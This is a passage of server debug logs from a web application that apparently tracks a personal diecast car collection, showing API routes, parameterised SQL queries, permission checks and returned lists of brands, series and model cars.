  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:03:35.968Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:03:35.971Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:35.973Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:35.973Z server-connect:app Executing action step identify
2026-02-04T07:03:35.973Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.973Z server-connect:output identity: 1
2026-02-04T07:03:35.973Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.975Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:03:35.975Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:03:35.975Z server-connect:output restrict: undefined
2026-02-04T07:03:35.975Z server-connect:app Executing action step single
2026-02-04T07:03:35.976Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:03:35.976Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:03:35.976Z server-connect:app Executing action step identify
2026-02-04T07:03:35.976Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.976Z server-connect:output identity: 1
2026-02-04T07:03:35.976Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.976Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.976Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:03:35.978Z server-connect:output restrict: undefined
2026-02-04T07:03:35.978Z server-connect:app Executing action step select
2026-02-04T07:03:35.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:35.978Z server-connect:app Executing action step identify
2026-02-04T07:03:35.978Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.978Z server-connect:output identity: 1
2026-02-04T07:03:35.978Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.978Z server-connect:app Executing action step identify
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.979Z server-connect:output identity: 1
2026-02-04T07:03:35.979Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.979Z server-connect:app Executing action step identify
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.979Z server-connect:output identity: 1
2026-02-04T07:03:35.979Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.979Z server-connect:app Executing action step identify
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.979Z server-connect:output identity: 1
2026-02-04T07:03:35.979Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.979Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.980Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:03:35.980Z server-connect:output restrict: undefined
2026-02-04T07:03:35.980Z server-connect:app Executing action step select
2026-02-04T07:03:35.980Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:35.981Z server-connect:output restrict: undefined
2026-02-04T07:03:35.981Z server-connect:app Executing action step select
2026-02-04T07:03:35.981Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:03:35.981Z server-connect:output restrict: undefined
2026-02-04T07:03:35.981Z server-connect:app Executing action step select
2026-02-04T07:03:35.981Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:35.981Z server-connect:output restrict: undefined
2026-02-04T07:03:35.981Z server-connect:app Executing action step paged
2026-02-04T07:03:35.981Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:03:35.982Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:03:35.983Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:03:35.984Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:03:35.984Z server-connect:app Executing action step select
2026-02-04T07:03:35.984Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:03:35.986Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:35.987Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
